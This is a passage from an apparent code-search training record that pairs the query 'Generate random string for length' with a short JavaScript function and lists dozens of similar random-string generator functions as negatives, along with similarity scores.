\"0123456789abcdefghijklmnopqrstuvwxyz\";\n\tvar str = \"\";\n\tfor (var i=0; i < size; i++) {\n\t\tstr += chars[Math.floor(Math.random()*chars.length)];\n\t}\n\treturn str;\n}", "function generateRandomString() {\n let result = \"\";\n const characters = \"0123456789\";\n const charactersLength = characters.length;\n\n for (let i = 0; i < 6; i++) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n }\n return result;\n }", "function randomString(length) {\n\tvar str = \"\";\n\tfor(var i = 0; i < length; i++) {\n\t\tvar charCode = 0;\n\t\tif(Math.random() < (26 / 36))\n\t\t\tcharCode = Math.floor(Math.random() * 26) + 97;\n\t\telse\n\t\t\tcharCode = Math.floor(Math.random() * 10) + 48;\n\n\t\tstr += String.fromCharCode(charCode);\n\t}\n\n\treturn str;\n}", "randomString(length) {\n var result = '';\n var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';\n var charactersLength = characters.length;\n for (var i = 0; i < length; i++) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n }\n return result;\n }", "makeRandPassword(length) {\n const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJLKMNOPQRSTUVWXYZ0123456789/*-+.,!#$%&()~|_';\n let str = '';\n for (let i = 0; i < length; ++i) {\n str += chars[Math.floor(Math.random() * 78)];\n }\n return str;\n }", "function makeRandomString(length) {\n var result = '';\n var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n var charactersLength = characters.length;\n for (var i = 0; i < length; i++) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n }\n return result;\n}", "function generateRandomString() {\n const chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz';\n const stringLength = 6;\n let stringResult = '';\n for (let i = 0; i < stringLength; i++) {\n let num = Math.floor(Math.random() * chars.length);\n stringResult += chars[num];\n }\n return stringResult;\n}", "function randomChars(len) {\n return (new Array(len)\n .fill(0)\n .map(e => String.fromCharCode(33 + 94 * Math.random() | 0))\n .join(''));\n }", "function randomString() {\n\tvar chars = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz\";\n\tvar string_length = 8;\n\tvar rstr = '';\n\tfor (var i=0; i<string_length; i++) {\n\t\tvar rnum = Math.floor(Math.random() * chars.length);\n\t\trstr += chars.substring(rnum,rnum+1);\n\t}\n\treturn rstr;\n}", "function randomString(len, an){\n an = an&&an.toLowerCase();\n var str=\"\", i=0, \n min=an==\"n\"?0:10, \n max=an==\"n\"?10:an==\"c\"?36:62;\n \n for(;i++<len;){\n var r = Math.random()*(max-min)+min <<0;\n str += String.fromCharCode(r+=r>9?r<36?55:61:48);\n }\n return str;\n}", "function makeShortStr(length) {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for (var i=0; i < length; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n return text;\n}", "function generateRandomString() {\n return Math.random().toString(36).substr(2, 6);\n}", "function generateRandomString() {\n return Math.random().toString(36).slice(2).substring(0, 6);\n}", "function generateRandomString(length, chars) {\n var result = '';\n // generate random string\n for (var i = length; i > 0; --i) {\n result += chars[Math.round(Math.random() * (chars.length - 1))];\n }\n return result;\n }", "function seed(length) {\n let result = ''\n const characters =\n 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'\n for (let i = 0; i < length; i++) {\n result += characters.charAt(\n Math.floor(Math.random() * characters.length)\n )\n }\n return result\n }", "function randomString(stringLength) { \n var chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz'; \n var randomstring = ''; \n for (var i=0; i<stringLength; i++) { \n var rnum = Math.floor(Math.random() * chars.length); \n randomstring += chars.substring(rnum,rnum+1); \n } \n return randomstring; \n}", "function generateRandomString() {\n return Math.random().toString(36).slice(-6);\n}", "function generateRandomString() {\n let result = '';\n let characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';\n let charactersLength = characters.length;\n for ( let i = 0; i < 6; i++ ) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n };\n return result;\n}", "function randomString(length, chars) {\n var result = '';\n for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];\n return result;\n }", "function randomString(length, chars) {\n var result = '';\n for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];\n return result;\n }", "function random(length) {\n var result = '';\n var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n var charactersLength = characters.length;\n for ( var i = 0; i < length; i++ ) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n }\n \n return result;\n }", "function randomString() {\n\tlength = 25;\n var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n var result = '';\n for (var i = length; i > 0; --i) result += chars[Math.round(Math.random() * (chars.length - 1))];\n return result;\n}", "function randomString(length, chars) {\n var result = '';\n for (var i = length; i > 0; --i) result += chars[Math.round(Math.random() * (chars.length - 1))];\n return result;\n }", "function randomString(length)\n{\n\tvar string = \"\";\n\tvar charset = \"abcdefghijklmnopqrstuvwxyz\";\n\tfor(var i = 0; i < length; i++)\n\t{\n\t\tvar index = randomIndex(charset.length);\n\t\tstring += charset.substring(index, index + 1);\n\t}\n\treturn string;\n}", "function random_str(len = 10, is_fixed_len) {\n if (!is_fixed_len) {\n len = random_int(len) + 1;\n }\n var s = \"\";\n for (var i = 0; i < len; i++) {\n s += alphabet[random_int(alphabet_length)];\n }\n return s;\n}", "function generateRandomString(minLen, maxLen){\n var resultString = \"\";\n \n var length = getRandomInt(minLen, maxLen+1);\n for(var i = 1; i <= length; i++){\n resultString += String.fromCharCode(getRandomInt(asciiRange[0], asciiRange[1]+1));\n \n }\n return resultString;\n}", "function randomString() {\n \tvar chars = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz\";\n \tvar string_length = 8;\n \tvar randomstring = '';\n \tfor (var i=0; i<string_length; i++) {\n \t\tvar rnum = Math.floor(Math.random() * chars.length);\n \t\trandomstring += chars.substring(rnum,rnum+1);\n \t}\n \treturn randomstring;\n }", "function rndId(length) {\n var iStr=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n var n=0;\n var i=0;\n var s=\"\";\n\n for (x=1;x<=length;x++) {\n n=Math.random()*62;\n i=Math.round(n);\n s+=iStr.charAt(i);\n }\n return s;\n}", "function randomString() {\n var generate = \"\";\n var randomChar = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (var i = 0; i <= 6; i++) {\n generate += randomChar.charAt((Math.floor(Math.random() * randomChar.length)));\n }\n return generate;\n }", "function create(stringLength) {\n var result = '';\n\n alphabet = 'CDEHKMPRTUWXY012458';\n var alphabetLength = alphabet.length;\n\n if ((stringLength === undefined) || isNaN(stringLength)) stringLength = 12;\n for (var i = 0; i < stringLength; i++) {\n var rnd = Math.floor(Math.random() * alphabetLength);\n result += alphabet[rnd];\n }\n\n return result;\n }", "function generateRandomString () {\n let string = '';\n const chars = '0123456789abcdefghijklmnopqrstuvwxyz';\n while (string.length < 6) {\n string += chars.charAt(Math.floor(Math.random() * chars.length));\n }\n return string;\n}", "function generateRandomString(){\n let length = 6;\n let result = \"\";\n const possible = \"ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz23456789\";\n // I've removed some characters that might cause confusion like O/0, I/l/1\n for (let i = 0; i < length; i++){\n result += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n\n return result;\n}", "function generateRandomString(strLength) {\n \n let outputArray = [];\n let str = \"\";\n \n for(var i = 0; i < strLength; i++){\n let randomNum = String.fromCharCode(Math.random() * (122 - 65) + 65);\n //omitting slashes in the random generated string so it does not interfere with URI \n if(randomNum === '/' || randomNum === '\\\\') {\n randomNum = 'x';\n };\n outputArray.push(randomNum);\n } \n str = outputArray.join('');\n\n return str;\n}", "function generateRandomString() {\r\n let characters = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\"\r\n let charactersLength = characters.length;\r\n let result = '';\r\n for (let i = 0; i < 6; i++){\r\n result += characters.charAt(Math.floor(Math.random() * charactersLength))\r\n }\r\n return result;\r\n}", "function randomString(length, chars) {\n var result = '';\n for (var i = length; i > 0; --i) result += chars[Math.round(Math.random() * (chars.length - 1))];\n return result;\n }", "function randomString() {\n var chars = '0123456789abcdefghiklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXTZ';\n var str = '';\n for (var i = 0; i < 10; i++) {\n str += chars[Math.floor(Math.random() * chars.length)];\n }\n return str;\n }", "function randomString() {\n\t var chars = '0123456789abcdefghiklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXTZ';\n\t var str = '';\n\t for (var i = 0; i < 10; i++) {\n\t str += chars[Math.floor(Math.random() * chars.length)];\n\t }\n\t return str;\n\t}", "function randomString() {\n var chars = '0123456789abcdefghiklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXTZ';\n var str = '';\n for (let i = 0; i < 10; i++) {\n str += chars[Math.floor(Math.random() * chars.length)];\n }\n return str;\n }", "function generaterandomString() {\n var randomString = \"\";\n var possibleChars = \"1234567890abcdefghijklmnopqrstuvqwxyzABCDEFGHIJKLMNOPQRSTUVWYZ\";\n for (i = 0; i < 6; i++) {\n randomString += possibleChars.charAt(Math.floor(Math.random() * possibleChars.length));\n };\n return randomString;\n}", "function makeid(length) {\r\n var text = \"\";\r\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\r\n\r\n for (var i = 0; i < length; i++) {\r\n text += possible.charAt(Math.floor(Math.random() * possible.length));\r\n }\r\n\r\n return text;\r\n}", "function randomString(N) {\n return (Math.random().toString(36)+'00000000000000000').slice(2, N+2);\n}", "function generateRandomString() {\n const charset = \"abcdefghijklmnopqrstuvwxyz0123456789\";\n let rand = '';\n\n for (let i = 0; i < 6; i ++) {\n rand += charset.charAt(Math.floor(Math.random() * charset.length));\n }\n return rand;\n}", "function getRandomString() {\n var s = '';\n for (var i = 0; i < RANDOM_STRING_LENGTH; i++)\n s += String.fromCharCode(Math.floor(Math.random() * 26) + 64);\n return s;\n}", "function generateRandomString() {\n var length = 6,\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\",\n retVal = \"\";\n for (var i = 0, n = charset.length; i < length; ++i) {\n retVal += charset.charAt(Math.floor(Math.random() * n));\n }\n return retVal;\n}", "function generateRandomString() {\n const SHORT_URL_LENGTH = 6;\n const LEGAL_CHARACTERS =\n 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n const randomAlphanumerics = [];\n for (let i = 0; i < SHORT_URL_LENGTH; i++) {\n const random = Math.floor(Math.random() * LEGAL_CHARACTERS.length);\n randomAlphanumerics.push(LEGAL_CHARACTERS[random]);\n }\n return randomAlphanumerics.join('');\n}", "function makeid(length) {\n var result = '';\n var characters = 'abcdefghijklmnopqrstuvwxyz0123456789';\n var charactersLength = characters.length;\n for (var i = 0; i < length; i++) {\n result += characters.charAt(Math.floor(Math.random() *\n charactersLength));\n }\n return result;\n }", "function generateRandomString() {\n return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0,5);\n}", "function generateRandomString() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (var i = 0; i < 6; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n return text;\n}", "function makeid(length) {\n var result = '';\n var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n var charactersLength = characters.length;\n for ( var i = 0; i < length; i++ ) {\n result += characters.charAt(Math.floor(Math.random() * \n charactersLength));\n }\n return result;\n }", "function generateRandomString() {\n let rString = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n let result = '';\n for (let i = 0; i < 6; i++) {\n result += rString[Math.floor(Math.random() * rString.length)];\n }\n return result;\n}" ]
[ "0.84586763", "0.8427423", "0.8381965", "0.83686334", "0.8336946", "0.83314157", "0.830878", "0.82686067", "0.82674605", "0.8265364", "0.8229727", "0.8207795", "0.8186462", "0.8174796", "0.81730884", "0.8156083", "0.81551075", "0.8140878", "0.81270975", "0.8126274", "0.8121666", "0.8119963", "0.80735147", "0.8060797", "0.8055803", "0.80399793", "0.80241036", "0.80142623", "0.800768", "0.80060923", "0.7995382", "0.7986238", "0.7983766", "0.7976223", "0.79730034", "0.7965694", "0.7965694", "0.7962187", "0.79581237", "0.7944523", "0.7940247", "0.7921674", "0.79201126", "0.7915989", "0.79104614", "0.7901269", "0.78974295", "0.7897247", "0.7891665", "0.7891369", "0.78769034", "0.78619725", "0.7851072", "0.7847046", "0.7832807", "0.7814411", "0.78135645", "0.78099453", "0.78015137", "0.77963793", "0.7787913", "0.7785533", "0.7773848", "0.7773652", "0.7765628", "0.7749706", "0.77469856", "0.77436566", "0.7738326", "0.7736069", "0.77258074", "0.7706899", "0.77068186", "0.77047515", "0.7703183", "0.77026385", "0.77007896", "0.7698202", "0.76975197", "0.7697446", "0.76881", "0.76861686", "0.76792055", "0.7677408", "0.7673198", "0.76676446", "0.76537794", "0.7636471", "0.7632683", "0.7631785", "0.7628435", "0.7616551", "0.7602668", "0.7601183", "0.759291", "0.75903565", "0.7577146", "0.75761104", "0.7570005", "0.75690925", "0.75682455" ]
0.0
-1
Generate random string for length
function rdmNumber(length) { return rdmStrTemplate(length, "0123456789"); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "getRandomString(length) {\n var s = ''\n do {\n s += Math.random().toString(36).substr(2);\n } while (s.length < length)\n s = s.substr(0, length)\n\n return s\n }", "function rand(length) {\n var str = '';\n while (str.length < length) {\n str += S4();\n }\n return str.slice(0, length);\n }", "function randomString(length) {\r\n\treturn Array(length+1).join((Math.random().toString(36)+'00000000000000000').slice(2, 18)).slice(0, length);\r\n}", "randString( length ) {\n let chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';\n let total = parseInt( length ) || 10;\n let output = '';\n\n while ( total ) {\n output += chars.charAt( Math.floor( Math.random() * chars.length ) );\n total--;\n }\n return output;\n }", "function rand(length) {\n var str = '';\n while (str.length < length) {\n str += S4();\n }\n return str.slice(0, length);\n }", "function randomString(length) {\n return Math.round((Math.pow(36, length + 1) - Math.random() *\n Math.pow(36, length))).toString(36).slice(1);\n}", "makeRandStr(length) {\n const chars =\n 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJLKMNOPQRSTUVWXYZ0123456789';\n let str = '';\n for (let i = 0; i < length; ++i) {\n str += chars[Math.floor(Math.random() * 62)];\n }\n return str;\n }", "function getRandomString() {\n\treturn getRandomStringByLength(10);\n}", "function randomString(length) {\n var result = 0;\n for (var i = 0; i < length; i++)\n result += String.fromCharCode(65 + Math.floor(Math.random() * 58));\n return result;\n }", "function generateRandomString(length) {\n let text = '';\n let possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n \n for (let i = 0; i < length; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return text;\n }", "createRandomString(length) {\n if(typeof length === 'number' && length) {\n // Define all characters that can go into a string\n const possible = 'abcdefghijklmnopqrstuvwxyz0123456789';\n // Return a random string from the possible characters of the given length\n const a =\n (l, str) =>\n l\n ? a(--l, str + possible[Math.floor(Math.random() * possible.length)])\n : str;\n\n return a(length, '');\n }\n else {\n return false;\n }\n }", "function randomString(length) {\n let str = \"\";\n while (str.length < length) {\n str += randomInteger(100000, 1000000).toString(36);\n }\n return str.substr(0, length);\n}", "function generateRandomString(lengthOfStr) {\n let sliceIndex;\n if (lengthOfStr === 6) {\n sliceIndex = 7;\n } else if (lengthOfStr === 3) {\n sliceIndex = 10;\n }\n\n let randomStr = Math.random().toString(36).slice(sliceIndex);\n if (randomStr.length < lengthOfStr) {\n //add another \"0\" to the end if randomStr is only lengthOfStr-1 in length\n randomStr += \"0\";\n }\n return randomStr;\n}", "getRandomString(length){\n var result = '';\n var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n var charactersLength = characters.length;\n for ( var i = 0; i < length; i++ ) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n }\n return result;\n }", "function randStr(len) {\n let s = '';\n while (len--) { s += String.fromCodePoint(Math.floor(Math.random() * (126 - 33) + 33)); }\n return s;\n}", "function genRandomString(length) {\n return crypto.randomBytes(Math.ceil(length / 2))\n .toString('hex') /** convert to hexadecimal format */\n .slice(0, length); /** return required number of characters */\n}", "function randomString(length) {\n let str = \"\";\n while (str.length < length) {\n str += number_1.randomInteger(100000, 1000000).toString(36);\n }\n return str.substr(0, length);\n}", "function genRandomString(length) {\n return crypto.randomBytes(Math.ceil(length/2))\n .toString('hex') /** convert to hexadecimal format */\n .slice(0,length); /** return required number of characters */\n}", "function generateString(length) {\n let result = '';\n let characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n let charactersLength = characters.length;\n for (let i = 0; i < length; i++ ) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n }\n return result;\n}", "function _randomString(len) {\n // use only numbers and lowercase letters\n var pieces = [];\n for(var i=0;i<len;i++) {\n pieces.push(Math.floor(Math.random()*36).toString(36).slice(-1));\n }\n return pieces.join('');\n}", "function getRandomString(length) {\n var sRandom = '';\n do { sRandom += Math.random().toString(36).substr(2); } while (sRandom.length < length);\n sRandom = sRandom.toUpperCase().substr(0, length);\n return sRandom;\n }", "function randomString(length) {\n var result = Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);\n return result;\n}", "function getRandomString(length = 10){\n\n let stringRandom = \"\";\n\n for(let i = 0;i< Math.ceil(length/10) ;i++){\n stringRandom += Math.random().toString(36).substr(2, 15)\n }\n\n return stringRandom.substr(0, length);\n }", "function stringIdGenerator(len) {\n let text = \"\";\n let charList = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n for(let i=0; i < len; i++ ) { \n text += charList.charAt(Math.floor(Math.random() * char_list.length));\n }\n return text;\n}", "function randString(len) {\n var ascii = repeatedly(len, partial1(rand, 26)); //1~26중에서\n\n return _.map(ascii, function (n) {\n return n.toString(36); //base 36으로 바꿈\n }).join('');\n}", "function generateRandomString() {\n const length = 6;\n const chars = '0123456789abcdefghijklmnopqrstuvwxyz';\n var result = '';\n for (let i = length; i > 0; --i) {\n result += chars[Math.floor(Math.random() * chars.length)];\n } \n return result;\n}", "function getRandStr(len){\n //补全函数\n let STRING = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n let randS = STRING[Math.floor(Math.random()*62)]\n if(len===1) {\n return randS\n } else {\n return randS+getRandStr(len-1)\n }\n}", "function generateRandomString() {\n return randomstring.generate(6);\n}", "function randStr(length) {\n var text = '';\n var possible = 'abcdefghijkmnpqrstuvwxyz0123456789';\n for (var i = 0; i < length; i++) text += possible.charAt(Math.floor(Math.random() * possible.length));\n return text;\n}", "function randomString(length) {\r\n var chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz'.split('');\r\n\r\n if (!length) {\r\n length = Math.floor(Math.random() * chars.length);\r\n }\r\n\r\n var str = '';\r\n for (var i = 0; i < length; i++) {\r\n str += chars[Math.floor(Math.random() * chars.length)];\r\n }\r\n return str;\r\n }", "function getRandomString(len) {\n if (!len)\n len = 16;\n\n return crypto.randomBytes(Math.ceil(len / 2)).toString('hex');\n}", "async function genRandomString(length) {\n\n var text = \"\";\n var characterSet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n for (var i = 0; i < length; i++) {\n text += await characterSet.charAt(Math.floor(Math.random() * characterSet.length));\n }\n\n return Date.now() + text;\n}", "function getRandomString(length) {\n var sRandom = '';\n do { sRandom += Math.random().toString(36).substr(2); } while (sRandom.length < length);\n sRandom = sRandom.toUpperCase().substr(0, length);\n return sRandom;\n}", "function randomString(length) {\n\t var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n\t var result = '';\n\t for (var i = length; i > 0; --i) {\n\t result += chars[Math.floor(Math.random() * chars.length)];\n\t }return result;\n\t}", "function generateRandomString () {\n return Math.random().toString(36).slice(2, 8)\n}", "function generate(length) {\n\t\tvar result = '';\n\t\tvar characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';// 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n\t\tvar charactersLength = characters.length;\n\t\tfor ( var i = 0; i < length; i++ ) {\n\t\t result += characters.charAt(Math.floor(Math.random() * charactersLength));\n\t\t}\n\t\treturn result;\n\t}", "function generate(length) {\n\t\tvar result = '';\n\t\tvar characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';// 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n\t\tvar charactersLength = characters.length;\n\t\tfor ( var i = 0; i < length; i++ ) {\n\t\t result += characters.charAt(Math.floor(Math.random() * charactersLength));\n\t\t}\n\t\treturn result;\n\t}", "function generateRandomString(length) { // generates a random string\n let randomString = '';\n let possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n for (var i = 0; i < length; i++) {\n randomString += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return randomString;\n}", "function randomString() {\n\t var radix = 36;\n\t var length = 6;\n\t return Math.random().toString(radix).substr(-length);\n\t}", "function generateRandomString(size) {\n var possible = 'abcdefghijklmnopqrstuvwxyz';\n var text = '';\n for (var i = 0; i < size; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return text;\n }", "function randomString(length) {\r\n\tvar text = \"\";\r\n\tvar possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\r\n\tfor (var i = 0; i < length; i++) {\r\n\t\ttext += possible.charAt(Math.floor(Math.random() * possible.length));\r\n\t}\r\n\treturn text;\r\n}", "function randomString(length) {\n let text = \"\";\n let possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for(let i = 0; i < length; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n\n return text;\n}", "function generateRandomString(length) {\n const chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n let result = '';\n for (let i = 0; i < length; i += 1) {\n const random = Math.floor(Math.random() * chars.length);\n const char = chars[random];\n result += char;\n }\n return result;\n}", "function genRandomString(length, callback) {\n var text = '';\n var characterSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';\n for (var i = 0; i < length; i++) {\n text += characterSet.charAt(Math.floor(Math.random() * characterSet.length));\n }\n\n callback(Date.now() + text);\n}", "function randomString(length) {\n\tvar text = \"\";\n\tvar possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n\tfor( var i=0; i < length; i++ )\n\t\ttext += possible.charAt(Math.floor(Math.random() * possible.length));\n\n\treturn text;\n}", "function generateRandomString() {\n return Math.random().toString(32).substr(2, 6);\n}", "function generateRandomString(size) {\n if (size === void 0) { size = 10; }\n var result = '';\n var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456790';\n var charsLength = characters.length;\n for (var i = 0; i < size; i++) {\n result += characters.charAt(Math.floor(Math.random() * charsLength));\n }\n return result;\n}", "function generateRandomStr(strLength) {\n var randomStr = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%$@!^&*()\";\n\n for (var i = 0; i < strLength - 1; i++) {\n randomStr += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n \n return randomStr;\n}", "function getRandomStringByLength(length) {\n\tif(!length) {\n\t\tlength = 5 + Math.floor(Math.random() * 20);\n\t}\n\tvar str='', idx;\n\tfor(var n=0; n<length; n++) {\n\t\tidx = Math.floor(Math.random() * alphabet.length) + 1;\n\t\tstr += alphabet[idx];\n\t}\n\treturn str;\n}", "function randString(length) {\n length = length ? length : aesBitLength / 8;\n randBuf = new Uint8Array(length);\n window.crypto.getRandomValues(randBuf);\n return arrayBufferToString(randBuf);\n}", "function generateRandomString() {\n return Math.floor(Math.random() * 1e10).toString(32);\n}", "function randomStr(size) {\n\tvar chars = \"0123456789abcdefghijklmnopqrstuvwxyz\";\n\tvar str = \"\";\n\tfor (var i=0; i < size; i++) {\n\t\tstr += chars[Math.floor(Math.random()*chars.length)];\n\t}\n\treturn str;\n}", "function generateRandomString() {\n let result = \"\";\n const characters = \"0123456789\";\n const charactersLength = characters.length;\n\n for (let i = 0; i < 6; i++) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n }\n return result;\n }", "function randomString(length) {\n\tvar str = \"\";\n\tfor(var i = 0; i < length; i++) {\n\t\tvar charCode = 0;\n\t\tif(Math.random() < (26 / 36))\n\t\t\tcharCode = Math.floor(Math.random() * 26) + 97;\n\t\telse\n\t\t\tcharCode = Math.floor(Math.random() * 10) + 48;\n\n\t\tstr += String.fromCharCode(charCode);\n\t}\n\n\treturn str;\n}", "randomString(length) {\n var result = '';\n var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';\n var charactersLength = characters.length;\n for (var i = 0; i < length; i++) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n }\n return result;\n }", "makeRandPassword(length) {\n const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJLKMNOPQRSTUVWXYZ0123456789/*-+.,!#$%&()~|_';\n let str = '';\n for (let i = 0; i < length; ++i) {\n str += chars[Math.floor(Math.random() * 78)];\n }\n return str;\n }", "function makeRandomString(length) {\n var result = '';\n var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n var charactersLength = characters.length;\n for (var i = 0; i < length; i++) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n }\n return result;\n}", "function generateRandomString() {\n const chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz';\n const stringLength = 6;\n let stringResult = '';\n for (let i = 0; i < stringLength; i++) {\n let num = Math.floor(Math.random() * chars.length);\n stringResult += chars[num];\n }\n return stringResult;\n}", "function randomChars(len) {\n return (new Array(len)\n .fill(0)\n .map(e => String.fromCharCode(33 + 94 * Math.random() | 0))\n .join(''));\n }", "function randomString() {\n\tvar chars = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz\";\n\tvar string_length = 8;\n\tvar rstr = '';\n\tfor (var i=0; i<string_length; i++) {\n\t\tvar rnum = Math.floor(Math.random() * chars.length);\n\t\trstr += chars.substring(rnum,rnum+1);\n\t}\n\treturn rstr;\n}", "function randomString(len, an){\n an = an&&an.toLowerCase();\n var str=\"\", i=0, \n min=an==\"n\"?0:10, \n max=an==\"n\"?10:an==\"c\"?36:62;\n \n for(;i++<len;){\n var r = Math.random()*(max-min)+min <<0;\n str += String.fromCharCode(r+=r>9?r<36?55:61:48);\n }\n return str;\n}", "function makeShortStr(length) {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for (var i=0; i < length; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n return text;\n}", "function generateRandomString() {\n return Math.random().toString(36).substr(2, 6);\n}", "function generateRandomString() {\n return Math.random().toString(36).slice(2).substring(0, 6);\n}", "function generateRandomString(length, chars) {\n var result = '';\n // generate random string\n for (var i = length; i > 0; --i) {\n result += chars[Math.round(Math.random() * (chars.length - 1))];\n }\n return result;\n }", "function seed(length) {\n let result = ''\n const characters =\n 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'\n for (let i = 0; i < length; i++) {\n result += characters.charAt(\n Math.floor(Math.random() * characters.length)\n )\n }\n return result\n }", "function randomString(stringLength) { \n var chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz'; \n var randomstring = ''; \n for (var i=0; i<stringLength; i++) { \n var rnum = Math.floor(Math.random() * chars.length); \n randomstring += chars.substring(rnum,rnum+1); \n } \n return randomstring; \n}", "function generateRandomString() {\n return Math.random().toString(36).slice(-6);\n}", "function generateRandomString() {\n let result = '';\n let characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';\n let charactersLength = characters.length;\n for ( let i = 0; i < 6; i++ ) {\n result += 